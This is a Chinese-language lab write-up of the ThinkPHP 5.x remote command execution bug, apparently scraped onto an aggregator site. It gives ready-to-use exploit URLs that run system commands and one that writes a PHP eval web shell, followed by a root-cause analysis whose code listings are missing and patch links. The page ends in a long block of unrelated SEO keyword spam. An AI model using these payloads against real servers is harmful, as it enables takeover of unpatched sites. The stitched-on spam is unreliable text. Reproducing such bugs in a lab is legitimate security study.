千家信息网

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,0x00复现环境ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)0x01步骤点击start to hack 进入环境页面 run the
千家信息网最后更新 2026年10月31日【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)
0x00复现环境

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

0x01步骤
  1. 点击start to hack 进入环境页面 run the project 然后访问给出的target address
    执行系统命令显示目录下文件
    http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

  2. 执行phpinfo
    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

  3. 写shell

    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
    想你所想,发挥创意

0x02漏洞原理分析
关键代码


在修复之前程序未对控制器进行过滤,导致攻 击 者可以通过引入 \ 符号来调用任意类方法。

$this -> app -> controller 方法来实例化控制器,然后调用实例中的方法。
follow the controller method:thinkphp/library/think/App.php

通过parseModuleAndClass方法解析出$module和$class,实例化$class。

thinkphp / library / think /App.php


当$name以反斜线\开始时直接将其作为类名。
利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

thinkphp/library/think/route/Rule.php
往回看路由解析的代码,其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

route/dispatch/Url.php

route/Rule.php


使用/对$url进行分割,未进行任何过滤。

路由url从Request::path()中获取

其中,我们来看一下pathinfo函数

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递
但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:
index.php?s=index/\namespace\class/method
这将会实例化\namespace\class类并执行method方法

0x03 漏洞PoC

使用的是pocsuite框架

0x04 漏洞修复

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

0x05 漏洞利用(目前出现的***手段)

威胁预警 | ThinkPHP v5新漏洞***案例首曝光

0x06 reference

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/

【2019-1-24更新】发现大佬们的动态调试 下一个复现可以试一试

漏洞 方法 实例 路由 代码 环境 控制 命令 信息 地址 控制器 补丁 分析 关键 函数 动态 原理 可以通过 所想 手段 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 上海喔噻互联网科技有限公司 湖北九亚互联网络科技有限公司 伟宏互联网科技 深圳科技互联网 广州宏创互联网科技 互联网科技美容 中国互联网金融科技基金 互联网科技类展会 海南科技产业互联网平台 农村开互联网科技讲堂 移动互联网科技股 南平创想时代互联网科技有限公司 互联网科技公司有风险吗 阿大互联网科技有限公司 江阴互联网智能科技产品进口 中国科技创新与世界互联网大会 济南有互联网科技公司吗 互联网科技公司营业执照怎么办理 富国互联网金融科技混合基金 武汉亿视互联网科技有限公司 互联网科技工作委员会主任 科技赋能下的互联网金融 与互联网科技公司 喔噻互联网科技 甘肃拓世互联网科技有限公司 济南和联互联网科技有限公司 伊宁互联网科技做什么的 滨湖区互联网智能科技产品有哪些 富国互联网金融科技混合基金 互联网科技创业计划的风险分析
0